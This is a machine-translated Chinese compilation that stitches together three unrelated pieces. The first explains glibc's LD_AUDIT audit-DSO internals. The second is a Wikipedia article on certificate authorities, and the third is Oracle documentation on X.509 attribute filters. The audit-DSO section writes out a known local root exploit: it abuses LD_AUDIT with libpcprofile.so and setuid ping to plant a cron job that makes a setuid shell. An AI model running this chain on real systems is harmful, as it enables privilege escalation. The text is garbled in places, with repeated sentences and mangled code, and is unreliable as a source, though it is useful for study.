- la_activity DSO Activity Monitor - la_objsearch Object Search - la_objopen Object Open - la_preinit Pre Initialization - la_symbind32 / la_symbind64 Symbol Binding - la_objclose Object Close
-[2.1.2加载审计DSO。
审计DSO的操作在rtld的主函数dl_main()中进行。rtld调用rtld.c中的dlmopen_doit()来加载审核DSO。
dlmopen_doit()调用_dl_open(),使用审计DSO路径作为第一个参数,将_RTLD_AUDIT标志添加到第二个参数中,就像加载共享对象一样。
The dlmopen_doit() In elf/rtld.c: ... static void dlmopen_doit (void *a) { struct dlmopen_args *args = (struct dlmopen_args *) a; // If dynamic linked, the return value is 0. args->map = _dl_open (args->fname, RTLD_LAZY | __RTLD_DLOPEN | __RTLD_AUDIT, dl_main, LM_ID_NEWLM, _dl_argc, INTUSE(_dl_argv), __environ); }
如果存在AUDIT_LIST变量,则进入load程序,并为参数准备了dlmopen_args结构,调用dlmopen_doit()来加载DSO。
The code of dl_main In elf/rtld.c: static void dl_main (const ElfW(Phdr) *phdr, ElfW(Word) phnum, ElfW(Addr) *user_entry) { ... /* If we have auditing DSOs to load, do it now. */ if (__builtin_expect (audit_list != NULL, 0)) { /* * Iterate over all entries in the list. The order is important. */ struct audit_ifaces *last_audit = NULL; /* audit_list struct */ struct audit_list *al = audit_list->next; do { ... struct dlmopen_args dlmargs; /* Set DSO path for the argument. */ dlmargs.fname = al->name; /* Set the map member variable as NULL. */ dlmargs.map = NULL; const char *objname; const char *err_str = NULL; bool malloced; /* * call dlmopen_doit() to load an audit dso! */ (void) _dl_catch_error (&objname, &err_str, &malloced, dlmopen_doit, &dlmargs);
现在,_dl_open()加载从$LD_AUDIT环境传递的审计DSO。DSO的信息加载到link_map对象的某个地方。
-[2.1.3查找接口。
在加载审计DSO之后,下一步是查找模块的接口。lookup_doit()执行了接口查找的操作。
首先,从ELF对象中查找la_version符号,该进程通过使用查找函数在用户程序领空中运行。然后,检查接口版本的接口是否匹配。
The lookup_doit() In elf/rtld.c: static void lookup_doit (void *a) { struct lookup_args *args = (struct lookup_args *) a; const ElfW(Sym) *ref = NULL; args->result = NULL; lookup_t l = _dl_lookup_symbol_x (args->name, args->map, &ref, args->map->l_local_scope, NULL, 0, DL_LOOKUP_RETURN_NEWEST, NULL); /* Symbol lookup success? */ /* store the symbol object */ /* on args->result. */ if (ref != NULL) args->result = DL_SYMBOL_ADDRESS (l, ref); }
查找la_version符号,这是一个接口!查找_args结构的->name成员变量可以得到查找接口名称。->map会得到NULL。
函数的第四个参数是lookup_doit(),第五个参数是&lookup_args。_dl_catch_error()将调用lookup_doit(),参数为&lookup_args。
The lookup_doit() In elf/rtld.c: struct lookup_args largs; /* argument struct. */ largs.name = "la_version"; /* to lookup Interface name */ largs.map = dlmargs.map; /* largs.map = NULL */ /* argument = largs.name("la_version"). result = largs.result. */ /* Check whether the interface version matches. */ (void) _dl_catch_error (&objname, &err_str, &malloced, lookup_doit, &largs);
在查找完la_version接口之后,将查找的largs.result的地址存储到laversion函数指针,并调用它来检查接口版本是否匹配。
如果匹配,也在下面的块查找其他接口。
The lookup_doit() In elf/rtld.c: unsigned int (*laversion) (unsigned int); unsigned int lav; if (err_str == NULL && (laversion = largs.result) != NULL && (lav = laversion (LAV_CURRENT)) > 0 && lav <= LAV_CURRENT) {
接下来,查找其他接口。
在代码中声明的*newp union 与接口的audit_ifaces结构、回调函数指针的成员,会在下面的代码中查找6个接口,以处理一个链表,该链表的 *next 指针为*audit_list。
la_objearch的接口搜索ELF对象上的符号,la_symbind32或la_symbind64接口绑定来自ELF对象的符号。
所有审计接口都作为elf/tst-auditmod1.c的测试代码嵌入到审计DSO的源代码中。请参见测试代码。la_symbind32 / la_symbind64返回要绑定的符号的相对地址。
The codes In elf/tst-auditmod1.c: ... uintptr_t la_symbind32 (Elf32_Sym *sym, unsigned int ndx, uintptr_t *refcook, uintptr_t *defcook, unsigned int *flags, const char *symname) { printf ("symbind32: symname=%s, st_value=%#lx, ndx=%u, flags= %un", symname, (long int) sym->st_value, ndx, *flags); return sym->st_value; } uintptr_t la_symbind64 (Elf64_Sym *sym, unsigned int ndx, uintptr_t *refcook, uintptr_t *defcook, unsigned int *flags, const char *symname) { printf ("symbind64: symname=%s, st_value=%#lx, ndx=%u, flags= %un", symname, (long int) sym->st_value, ndx, *flags); return sym->st_value; } ...
See the lookup the other Interfaces!
The lookup_doit() In elf/rtld.c: ----snip----snip----snip----snip----snip----snip----snip----snip---- /* Allocate structure for the callback function pointers. This call can never fail. */ union { struct audit_ifaces ifaces; #define naudit_ifaces 8 void (*fptr[naudit_ifaces]) (void); /* void (*fptr[8])(void); */ } *newp = malloc (sizeof (*newp)); /* Names of the auditing interfaces. All in one long string. */ static const char audit_iface_names[] = "la_activity " "la_objsearch " "la_objopen " "la_preinit " #if __ELF_NATIVE_CLASS == 32 "la_symbind32 " #elif __ELF_NATIVE_CLASS == 64 "la_symbind64 " #else # error "__ELF_NATIVE_CLASS must be defined" #endif #define STRING(s) __STRING (s) "la_" STRING (ARCH_LA_PLTENTER) " " "la_" STRING (ARCH_LA_PLTEXIT) " " "la_objclose "; unsigned int cnt = 0; const char *cp = audit_iface_names; do { largs.name = cp; (void) _dl_catch_error (&objname, &err_str, &malloced, lookup_doit, &largs); /* Store the pointer. */ if (err_str == NULL && largs.result != NULL) { newp->fptr[cnt] = largs.result; /* The dynamic linker link map is statically allocated initialize the data now. */ GL(dl_rtld_map).l_audit[cnt].cookie = (intptr_t) &GL(dl_rtld_map); } else newp->fptr[cnt] = NULL; ++cnt; cp = (char *) rawmemchr (cp, ' ') + 1; } while (*cp != ' '); assert (cnt == naudit_ifaces); /* Now append the new auditing interface to the list. */ newp->ifaces.next = NULL; if (last_audit == NULL) last_audit = GLRO(dl_audit) = &newp->ifaces; else last_audit = last_audit->next = &newp->ifaces; ++GLRO(dl_naudit); /* Mark the DSO as being used for auditing. */ dlmargs.map->l_auditing = 1; } else { /* We cannot use the DSO, it does not have the appropriate interfaces or it expects something more recent. */ #ifndef NDEBUG Lmid_t ns = dlmargs.map->l_ns; #endif _dl_close (dlmargs.map); /* Make sure the namespace has been cleared entirely. */ assert (GL(dl_ns)[ns]._ns_loaded == NULL); assert (GL(dl_ns)[ns]._ns_nloaded == 0); #ifdef USE_TLS GL(dl_tls_max_dtv_idx) = tls_idx; #endif goto not_loaded; } } al = al->next; } while (al != audit_list->next);
审计DSO标记为1,就像使用dlmargs.map的->l_audit成员变量一样,它是在打开DSO的代码中声明的。
dlmargs的.map成员变量在为审核DSO调用dlmopen_doit()之后获取分配的linkmap对象的指针。
换句话说,->l_auditing变量审计DSO的链接映射对象被标记为1,而不是进程的link_map对象。
-[2.1.4-打开对象
最后,为将要被审计DSO的作者实现的DSO的la_OPEN函数打开*afct 的对象,如在elf/tst-auditmod1.c中可以看到的那样。
la_open只是打印一条打开这个对象的消息。对于每个审计DSO,rtld调用la_open 函数。
/* If we have any auditing modules, announce that we already have two objects loaded. */ if (__builtin_expect (GLRO(dl_naudit) > 0, 0)) { struct link_map *ls[2] = { main_map, &GL(dl_rtld_map) }; for (unsigned int outer = 0; outer < 2; ++outer) { struct audit_ifaces *afct = GLRO(dl_audit); for (unsigned int cnt = 0; cnt < GLRO(dl_naudit); ++cnt) { if (afct->objopen != NULL) { ls[outer]->l_audit[cnt].bindflags = afct->objopen (ls[outer], LM_ID_BASE, &ls[outer]-> l_audit[cnt].cookie); ls[outer]->l_audit_any_plt |= ls[outer]-> l_audit[cnt].bindflags != 0; } afct = afct->next; /* move the next audit Interface */ } } }
如您所知,审核dso可用于自动分析。
在用户界面中的一个监视器,操作系统体系结构中的库层。
让我们写一个审计DSO!
-[2.2编写审计DSO
我通过审计DSO演示了一个用户态监视器。编译自glibc/adj_dso_example.c的rtld源代码树中。
audit_dso_example.c: ---- #include <dlfcn.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <bits/wordsize.h> #include <gnu/lib-names.h> unsigned int la_version(unsigned int v){ return v; } unsigned int la_objopen(struct link_map *l, Lmid_t lmid, unsigned int *cookie){ FILE *fp; fp = fopen("/tmp/audit_dso_example.log", "w+"); if(fp <= NULL){ printf("failed to open audit dso examplen"); fclose(fp); } /* * The link_map Object passed as first argument! * link_map struct In elf/link.h. * */ fprintf(fp, "-------- audit dso example --------n"); fprintf(fp, "Executed program name: %sn ", l->l_name); fprintf(fp, "Base Addr of the object: %pn", l->l_addr); fprintf(fp, "The addr of .dynamic: nn ", l->l_ld); fprintf(fp, "-----------------------------------n"); /* * Now, Can resolve the ELF sections of the executed * program with l->l_ld. do resolve relocation a symbol! [2]. * */ fclose(fp); return 0; } void la_preinit(unsigned int *cookie){ return; } void la_objclose(unsigned int *cookie){ printf("audit_dso_example: an audit DSO closed."); return 0; }
—- [2.3漏洞
taviso的任意审计DSO加载bug [1]显示了审计DSO的安全漏洞:
(1)LD_AUDIT =“libpcprofile.so”PCPROFILE_OUTPUT =“/ etc / cron.d / exploit”
libpcprofile.so的代码创建一个$ PCPROFILE_ OUTPUT文件。 libpcprofile.so不是一个审计dso,不能加载审计dso作为共享对象加载并且代码共享对象的执行!这是个关于SUID位的安全问题。
(2)执行/bin/ping创建一个/etc/cron.d/exploit世界可写文件。 注意ping SUID位,在即将运行的ping进程之后,rtld加载了审计dso并创建了该文件。
(3)设置一个crontab并等待提升权限。
printf“* * * * * root cp / bin / dash / tmp / exploit; chmod u + s / tmp / exploit n”> /etc/cron.d/exploit。
可以通过审计DSO加载任意共享对象,并在执行进程后执行审计DSO的代码在userland中如果进程将SUID位设置为/bin/ping。
对安全漏洞的讨论是,通过所有进程的任意共享对象加载在用户态执行时间内。共享对象也可以作为用户进行编译和加载,并且无法使用该特权加载它。
See the call path: ---- /bin/ping execute! with SUID bit | +-> rtld: audit DSO load (In the execution time) | +-> rtld: _dlm_opendoit() The shared object load with UID 0. ... ----
—- [3.结论
这篇文章涵盖了审计DSO的内部和编写用户区的安全模块,并解释了加载任意DSO的安全性问题。
审计DSO可用于在用户空间中的自动监视器,示例在audit_dso_example.c中存在。 它可以被实现在ELF解析执行时的监视器。
—- [4.参考文献
[1] Taviso, 2010, Taviso’s GNU C library dynamic linker LD_AUDIT.
arbitrary DSO load Vulnerability.
- http://www.exploit-db.com/exploits/15304
[2] x90c, 2012, ELF_linker.c.
- http://www.x90c.org/ELF32_linker.c
—-[ 5. 致谢
Greets to … #phrack of efnet …
… #social of overthewire …
EOF
Certificate authority (Wiki)
https://en.wikipedia.org/wiki/Certificate_authority
本文完全机器翻译,未经人工润色。
在密码学中,证书颁发机构或证书颁发机构(CA)是颁发数字证书的实体。数字证书由证书的指定主体证明公钥的所有权。这允许其他人(依赖方)依赖签名或对与经认证的公钥相对应的私钥所做的断言。CA充当受信任的第三方-由证书的主体(所有者)和依赖证书的一方信任。这些证书的格式由X.509标准指定。
证书颁发机构的一个特别常见的用途是对用于万维网的安全浏览协议HTTPS中使用的证书进行签名。另一个常见用途是由各国政府签发身份证,用于电子签字文件。
概述。
可信证书可用于通过Internet创建到服务器的安全连接。证书是必不可少的,这样才能绕过恰好在到达目标服务器的路径上的恶意方,因为目标服务器的行为就好像它是目标。这种情况通常被称为中间人攻击.。在启动安全连接之前,客户端使用CA证书对服务器证书上的CA签名进行身份验证,作为授权的一部分。通常,客户端软件(例如浏览器)包含一组受信任的CA证书。这是有道理的,因为许多用户需要信任他们的客户端软件。恶意的或受损的客户端可以跳过任何安全检查,仍然欺骗其用户相信否则。
CA的客户端是服务器监控器,它们调用其服务器将授予用户的证书。商业CA负责颁发证书,他们的客户期望CA的证书包含在大多数Web浏览器中,以便与认证服务器的安全连接能够开箱即用。信任特定证书颁发机构的Internet浏览器、其他设备和应用程序的数量称为无处不在。Mozilla是一家非营利性企业,它的产品发布了几个商业CA证书。[1]虽然Mozilla制定了自己的策略,但CA/Browser论坛也为CA信任制定了类似的指导方针。单个CA证书可以在多个CA或其转售商之间共享。根CA证书可能是颁发具有不同验证要求的多个中间CA证书的基础。
除了商业CA,一些非营利组织免费向公众发放数字证书;著名的例子是CACERT和Let’s Encrypt。
大型组织或政府机构可能有自己的PKI(公钥基础设施),每个PKI都包含自己的CA。任何使用自签名证书的站点都充当自己的CA。
浏览器和其他类型的客户机的特点是允许用户随意添加或删除CA证书。虽然服务器证书通常持续的时间相对较短,但CA证书会进一步扩展,[2]因此,对于反复访问的服务器来说,导入和信任颁发的CA是不太容易出错的,而不是每次更新服务器证书时都确认安全豁免。
较少情况下,可信任证书用于加密或签名消息。CA还提供最终用户证书,可以与S/MIME一起使用。然而,加密需要接收方的公钥,而且由于加密消息的作者和接收方显然相互了解,受信任的第三方的有用性仍然局限于对发送到公共邮件列表的消息进行签名验证。
提供者。
在世界范围内,证书颁发机构的业务是零散的,由国家或区域供应商主导其国内市场。这是因为数字证书的许多用途,例如具有法律约束力的数字签名,都与当地法律、法规和证书颁发机构的认证计划相联系。
然而,全球可信任的TLS/SSL服务器证书市场主要由少数跨国公司持有。由于技术要求,这一市场有很大的进入障碍。[3]虽然没有法律要求,但新的供应商可选择每年进行安全审计(例如北美证书颁发机构的WebTrust[4]和欧洲的ETSI[5]),以作为受信任的根列入网络浏览器或操作系统。Mozilla Firefox Web浏览器中有180多个根证书,代表了大约80个组织。[6]OSX信任200多个根证书。截至Android4.2(JellyBean),Android目前包含100多个CA,每个版本都会更新这些CA。
在2014年11月18日,包括电子前沿基金会、Mozilla、思科和Akamai在内的一些公司和非营利组织宣布,让我们加密吧,这是一个非营利认证机构,它提供免费的域验证X.509证书和软件,以便安装和维护证书。[8]让我们加密是由新成立的互联网安全研究小组(Internet Security Research Group)运营的,这是加州的一个非营利组织,根据第501(C)(3)条被认定为免税的。
根据监控活跃tls证书的行业标准netcraft 2015所述,“尽管全球(Tls)生态系统具有竞争力,但它由少数几个主要cas主导–三个证书颁发机构(赛门铁克(Symantec)、科莫多(Comodo)、高爸爸(Godp))占所有在面向公众的web服务器上颁发的证书总数的四分之三。自[我们]调查开始以来,赛门铁克(或赛门铁克收购它之前)一直占据榜首,目前它只占所有证书的不到三分之一。为了说明不同方法的影响,在百万个最繁忙的站点中,赛门铁克颁发了44%的有效、可信的证书–大大高于其整体市场份额。“[10]
验证标准。
为HTTPS服务器颁发大量证书的商业CA通常使用一种称为“域验证”的技术对证书的接收者进行身份验证。用于域验证的技术因CA而异,但在一般情况下,域验证技术旨在证明证书申请者控制给定的域名,而不是关于申请者身份的任何信息。
许多证书颁发机构还提供扩展验证(EV)证书,作为域验证证书的一种更严格的替代方法。扩展验证不仅用于验证对域名的控制,而且用于验证证书中包含的其他标识信息。有些浏览器在地址栏中的绿色框中显示此附加标识信息。EV作为域验证弱点的解决方案的一个限制是,攻击者仍然可以获得受害者域的域验证证书,并在攻击期间部署该证书;如果发生这种情况,受害者用户可以观察到的区别是没有带有公司名称的绿色条。至于用户是否会意识到这种缺失是否意味着攻击正在进行,存在一些问题:在2009使用InternetExplorer 7进行的测试显示,用户没有注意到IE7的EV警告,但是微软目前的浏览器边缘(Edge)显示,EV和域验证证书之间的差别要大得多,域验证证书有一个空心的灰色锁。
验证弱点。
域验证受到某些结构安全限制。特别是,它总是容易受到允许对手观察CA发送的域验证探测的攻击。这些攻击可能包括对DNS、TCP或BGP协议的攻击(这些协议缺乏TLS/SSL的加密保护),或路由器的危害。这种攻击可能发生在CA附近的网络上,也可能发生在受害者域本身附近。
最常见的域验证技术之一是发送包含身份验证令牌或链接的电子邮件,该电子邮件地址可能在管理上负责该域。这可能是域名WHOIS条目中列出的技术联系人电子邮件地址,也可能是管理员@、管理员@、网站管理员@、主机主@或邮政主管@该域之类的管理电子邮件。[14][15]一些证书颁发机构可能会接受使用root@、[引文所需]info@或域内支持@的确认。[16]域验证背后的理论是,只有域的合法所有者才能读取发送到这些管理地址的电子邮件。
域验证实现有时是安全漏洞的来源。在一个例子中,安全研究人员表明,攻击者可以获得Web邮件站点的证书,因为CA愿意使用诸如ssladmin@domain.com之类的电子邮件地址来访问domain.com,但并非所有的Webmail系统都保留了“ssladmin”用户名,以防止攻击者注册它。
在2011之前,没有可用于域验证的标准电子邮件地址列表,因此电子邮件管理员不清楚哪些地址需要保留。第一个版本的CA/浏览器论坛基线要求,通过了11月2011,指定了一个名单这样的地址。这允许邮件主机保留这些地址以供管理使用,尽管此类预防措施尚未普及。在2015,一名芬兰男子在微软Live.fi的芬兰版上注册了用户名“主机”,并获得了一个经过域名验证的live.fi证书,尽管他并不是该域名的所有者。
签发证书。
CA颁发包含公钥和所有者身份的数字证书。匹配的私钥不是公开可用的,而是由生成密钥对的最终用户保密。证书也是CA确认或确认证书中包含的公钥属于证书中所述人员、组织、服务器或其他实体的证书。CA在此类方案中的义务是验证申请者的凭据,以便用户和依赖方可以信任CA证书中的信息。CA使用各种标准和测试来实现这一点。本质上,证书颁发机构负责说“是的,这个人就是他们所说的那个人,我们CA证明了这一点”。
如果用户信任CA并能够验证CA的签名,那么他们还可以假定某个公钥确实属于证书中标识的任何人。
例子。
公钥密码可以用来加密双方之间通信的数据.。当用户登录到实现HTTP安全协议的任何站点时,通常会发生这种情况。在这个示例中,让我们假设用户登录了他们银行的主页www.bank.examplesto做在线银行业务。当用户打开www.bank.examplesPage时,他们会收到一个公钥以及他们的web浏览器显示的所有数据。公钥可用于将数据从客户端加密到服务器,但安全过程是将其用于确定临时共享对称加密密钥的协议中;这种密钥交换协议中的消息可以用银行的公钥加密,只有银行服务器具有读取它们的私钥。
接下来的通信使用新的(一次性)对称密钥,因此当用户向银行页面输入一些信息并提交页面(将信息发送回银行)时,用户输入到页面的数据将由他们的Web浏览器加密。因此,即使有人能够访问(加密)从用户传输到www.bank.example的数据,这种窃听者也无法读取或解密它。
只有当用户能够确定他们在Web浏览器中看到的是银行时,这种机制才是安全的。例如,如果用户键入www.bank.example,但是他们的通信被劫持,并且一个假网站(假装是银行网站)将页面信息发送回用户的浏览器,则该虚假网页可以向用户发送假公钥(对于该用户,虚假站点拥有一个匹配的私钥)。使用者会以个人资料填写表格,并提交网页。然后,伪造的网页就可以访问用户的数据了。
这是证书颁发机构机制要防止的。证书颁发机构(CA)是存储公钥及其所有者的组织,通信中的每一方都信任该组织(并知道其公钥)。当用户的Web浏览器从www.bank.example接收公钥时,它还会接收密钥的数字签名(在所谓的X.509证书中提供更多信息)。浏览器已经拥有CA的公钥,因此可以验证签名、信任证书和证书中的公钥:由于www.bank.example使用了由验证局认证的公钥,所以一个伪造的www.bank.example只能使用相同的公钥。由于伪造的www.bank.example不知道相应的私钥,因此无法创建验证其真实性所需的签名。
安全。
在向CA(可能是通过电子网络)提供数据时,以及在同样提供请求证书的人员/公司/程序的凭据时,很难确保数据与实体之间匹配的正确性。这就是商业CA通常使用多种身份验证技术的原因,包括利用政府局、支付基础设施、第三方数据库和服务以及自定义启发式。在一些企业系统中,本地形式的身份验证(如Kerberos)可用于获取证书,而外部依赖方又可以使用证书。在某些情况下,公证员必须亲自了解签名被公证的当事人;这比许多核证机关达到的标准要高。根据美国律师协会(American Bar Association)的“在线交易管理纲要”(Outline On Online Transaction Management),美国联邦和州有关数字签名的法规的主要要点一直是“防止地方法规的冲突和过于繁琐,并确定电子文字符合与纸质文件相关的传统要求”。此外,美国电子签字法规和建议的欧洲自由贸易联盟守则[20]有助于确保:
与此种交易有关的签字、合同或其他记录不得仅仅因为是电子形式而被否定其法律效力、有效性或可执行性;以及。
与此种交易有关的合同不得仅仅因为在其形成过程中使用了电子签字或电子记录而被否定其法律效力、有效性或可执行性。
尽管采取了安全措施来正确核实个人和公司的身份,但有一个单一的CA向冒充者颁发假证书的风险。还可以用相同或非常相似的名称对个人和公司进行登记,这可能导致混淆。为了尽量减少这种危险,证书透明度倡议提议审计公共不可伪造日志中的所有证书,这有助于防止网络钓鱼。[21][22]。
在大规模部署中,alice可能不熟悉Bob的证书颁发机构(可能每个证书都有一个不同的CA服务器),因此Bob的证书还可能包括由不同的CA 2签名的CA的公钥,据推测,Alice可以识别该公钥。此过程通常导致CA和CA证书的层次结构或网格。
权限撤销列表。
授权撤销列表(ARL)是包含颁发给证书颁发机构的证书的证书吊销列表(CRL)的一种形式,与包含已吊销的最终实体证书的CRLS相反。
行业组织。
证书权威安全委员会(CASC)-在2013 2月,CASC成立作为一个行业倡导组织,致力于解决行业问题和教育公众的互联网安全。创始成员是七个最大的证书颁发机构。[23][24]。
通用计算安全标准论坛(CCSF)-在2009成立的共同计算安全标准论坛是为了促进保护最终用户的行业标准。科莫多集团首席执行官MelihAbdulhayoğLu被认为是CCSF的创始人。
CA/Browser论坛-2005成立了一个由证书颁发机构和Web浏览器供应商组成的新联盟,以促进行业标准和互联网安全的基线要求。科莫多集团首席执行官MelihAbdulhayoğLu组织了第一次会议,并被认为是CA/Browser论坛的创始人。[26][27]。
基线要求。
CA /浏览器论坛发布基线要求,[28] CA遵循的政策和技术要求清单。这些是包含在Firefox[29]和Safari的证书存储中的要求。
CA折衷。
如果CA可以被颠覆,那么整个系统的安全性就会丢失,可能会颠覆所有信任受损CA的实体。
例如,假设攻击者EVE成功地获得了一个CA来向她发出一个声称代表Alice的证书。也就是说,证书将公开声明它代表Alice,并且可能包括关于Alice的其他信息。关于Alice的一些信息,比如她的雇主的名字,可能是真的,从而提高了证书的可信度。然而,EVE将拥有与证书相关联的所有重要的私钥。然后,伊芙可以用这个证书向鲍勃发送经过数字签名的电子邮件,诱使鲍勃相信这封电子邮件来自爱丽丝。鲍勃甚至可能用加密的电子邮件来回应,他相信只有爱丽丝才能阅读,而伊芙实际上能够用私钥解密它。
一个像这样的CA颠覆的著名案例发生在2001,当时证书颁发机构威瑞信给一个声称代表微软的人颁发了两份证书。这些证书的名称是“微软公司”,因此它们可以被用来欺骗某人,使他们相信微软软件的更新来自微软,而实际上并不是这样。这个骗局是在2001年初被发现的。微软和威瑞信采取措施限制问题的影响。[31][32]。
在2011份来自科莫多和DigiNotar的欺诈性证书中,[33][34]据称是由伊朗黑客取得的。有证据表明,伪造的DigiNotar证书是在伊朗的一次中间人攻击中使用的。
在2012,人们知道信任波发布了一个从属根证书,用于透明的流量管理(中间人),它实际上允许企业使用从属证书嗅探ssl内部网络流量。
密钥存储。
盗取证书颁发机构私钥的攻击者能够伪造证书,就好像它们是CA一样,而无需持续访问CA的系统。因此,密钥盗窃是证书颁发机构防范的主要风险之一。公开信任的CA几乎总是将其密钥存储在硬件安全模块(HSM)上,该模块允许它们使用密钥对证书进行签名,但通常会阻止使用物理和软件控件提取密钥。CA通常采取进一步的预防措施,将其长期根证书的密钥保存在离线的HSM中,除非需要对较短的中间证书进行签名。存储在在线HSM中的中间证书可以做签署最终实体证书和保持吊销信息最新的日常工作。
CA有时在生成签名密钥时使用密钥仪式,以确保密钥不会被篡改或复制。
可信第三方方案的实现弱点。
当前X.509方案实现方式中的关键弱点是,由特定方信任的任何CA都可以为其选择的任何域颁发证书。这些证书将被信任方接受为有效,不管它们是否合法和授权。[37]这是一个严重的缺点,因为使用X.509和受信任的第三方的最常见技术是https协议。由于所有主要的web浏览器都被分发给他们的最终用户,预先配置了数十个可信CA的列表,这意味着这些预先批准的可信CA中的任何一个都可以为任何域颁发有效的证书。[38]业界对此的反应已经减弱。[39]考虑到浏览器预配置的可信CA列表的内容是由分发或分发的一方独立确定的,因此业界对此的反应是低调的。[39]考虑到浏览器的预配置可信CA列表的内容是由分发方独立确定的,因此,这意味着任何一个预先批准的可信CA都可以为任何域颁发有效证书。导致安装浏览器应用程序时,CA本身实际上什么也做不了。
这个问题是基于DNS的命名实体身份验证(DANE)协议发展的推动力。如果与域名系统安全扩展(DNSSEC)一起采用,DANE将大大减少(甚至完全消除)可信第三方在域的PKI中的角色。
软件。
可以使用各种软件来操作证书颁发机构。一般来说,需要这样的软件来签署证书、维护撤销信息和操作OCSP或CRL服务。一些例子是:
DogTag[40]
EJBCA
gnoMint
OpenCA
OpenSSL, an SSL/TLS library that comes with tools allowing its use as a simple certificate authority
EasyRSA, OpenVPN’s command line CA utilities using OpenSSL.
r509[41]
TinyCA, which is a perl gui on top of some CPAN modules.
XCA[42]
XiPKI,[43] CA and OCSP responder. With SHA3 support, OSGi-based (Java).
Boulder is an automated server that uses the Automated Certificate Management Environment[44] (ACME) protocol.
Windows Server contains a CA as part of Certificate Services for the creation of digital certificates. In Windows Server 2008 and later the CA may be installed as part of Active Directory Certificate Services.
OpenXPKI
Certificate Attributes(Oracle)
https://docs.oracle.com/cd/E24191_01/common/tutorials/authz_cert_attributes.html
概述
企业网关可以根据经过身份验证的客户端证书的X.509属性授权对Web服务的访问。
例如,一个简单的Certificate Attributes筛选器可能只授权证书有一个特殊名称(DName)的客户端,该名称包含以下属性:O=Oracle。
换句话说,只有“Oracle”用户有权访问Web服务。
X.509证书由多个字段组成,Subject字段是与本教程最相关的字段之一。它提供证书所属客户端的DName。DName 是X.500目录对象的唯一名称。它由一些称为相对区别名(Relative Distinguished Name,RDN)的属性值——对组成。
下面是一些最常见的RDN及其解释:
CN: CommonName
OU: OrganizationalUnit
O: Organization
L: Locality
S: StateOrProvinceName
C: CountryName
例如,以下是 Enterprise Gateway 提供的sample.p12客户端证书的DName :
CN=Sample Cert, OU=R&D, O=Company Ltd., L=Dublin 4, S=Dublin, C=IE
使用证书属性筛选器,可以基于例如DName 中的“CN”、“OU”或“C”属性来授权客户端。
———
配置
X.509属性表列出了许多针对客户端证书运行的属性检查。
对于每个条目来说,测试证书属性的方式是:只有当所有配置的属性值与客户端证书中的属性值匹配时,检查才会通过。
因此,实际上,在单次属性检查中列出的属性会被同时进行AND检查。
例如,假设以下内容被配置为X.509属性表中的一个条目:
OU=Eng, O=Company Ltd
如果企业网关收到具有以下DNAME的证书,此属性检查将通过,因为所有配置的属性都与证书DNAME中的属性匹配:
CN=User1, OU=Eng, O=Company Ltd, L=D4, S=Dublin, C=IE
CN=User2, OU=Eng, O=Company Ltd, L=D2, S=Dublin, C=IE
但是,如果企业网关收到带有以下DNAME的证书,属性检查将失败,因为DNAME中的属性与所有配置的属性不匹配(即“OU”属性有错误的值):
CN=User1, OU=qa, O=Company Ltd, L=D4, S=Dublin, C=IE
X.509属性表可以包含多个属性检查项。在这种情况下,属性检查(即表中的条目)一起以OR条件执行判断,因此如果任何检查成功,则整个证书属性筛选器都会成功。
总结一下:
- 只有当所有配置的属性值与客户端证书的DNAME中的属性值匹配时,属性检查才会成功。
- 如果X.509属性表中列出的任何属性检查结果为成功,则筛选器将返回成功。
若要配置证书筛选器,请完成下列字段:
Name: 在此输入筛选器的名称。
X.509属性: 若要添加新的X.509属性检查,请单击“添加”按钮。
在AddX.509属性对话框中,输入一个逗号分隔的名称-值对列表,表示X.509属性及其值,例如“OU=dev,O=Company”。新的属性检查将出现在X.509属性表中。可以分别单击“编辑”和“删除”按钮编辑和删除现有条目。